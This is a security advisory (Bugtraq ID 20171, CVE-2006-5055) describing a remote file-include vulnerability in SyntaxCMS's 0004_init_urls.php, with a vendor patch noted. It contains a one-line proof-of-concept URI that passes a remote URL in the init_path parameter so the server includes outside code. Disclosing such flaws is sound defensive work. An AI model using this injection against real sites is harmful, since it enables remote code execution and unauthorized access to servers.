SyntaxCMS 0004_Init_Urls.PHP Remote File Include Vulnerability

Bugtraq ID:	20171
Class:	Input Validation Error
CVE:	CVE-2006-5055
Remote:	Yes
Local:	No
Published:	Sep 25 2006 12:00AM
Updated:	Jul 06 2016 01:38PM
Credit:	MoHaJaLi has been credited with the discovery of this vulnerability.
Vulnerable:
Not Vulnerable:

SyntaxCMS 0004_Init_Urls.PHP Remote File Include Vulnerability

SyntaxCMS is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

A successful exploit of this issue allows an attacker to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.

SyntaxCMS 0004_Init_Urls.PHP Remote File Include Vulnerability

Attackers can exploit this issue via a web client.

The following proof-of-concept URI is available:

http://www.example.com/admin/testing/tests/0004_init_urls.php?init_path=http://www.example.com

SyntaxCMS 0004_Init_Urls.PHP Remote File Include Vulnerability

Solution:
The vendor released a patch to address these issues. Please see the references for more information.

SyntaxCMS 0004_Init_Urls.PHP Remote File Include Vulnerability

References:

• SyntaxCMS Home Page (SyntaxCMS)
  
• Testing script allow_url_fopen + register_globals vulnerability (SyntaxCMS)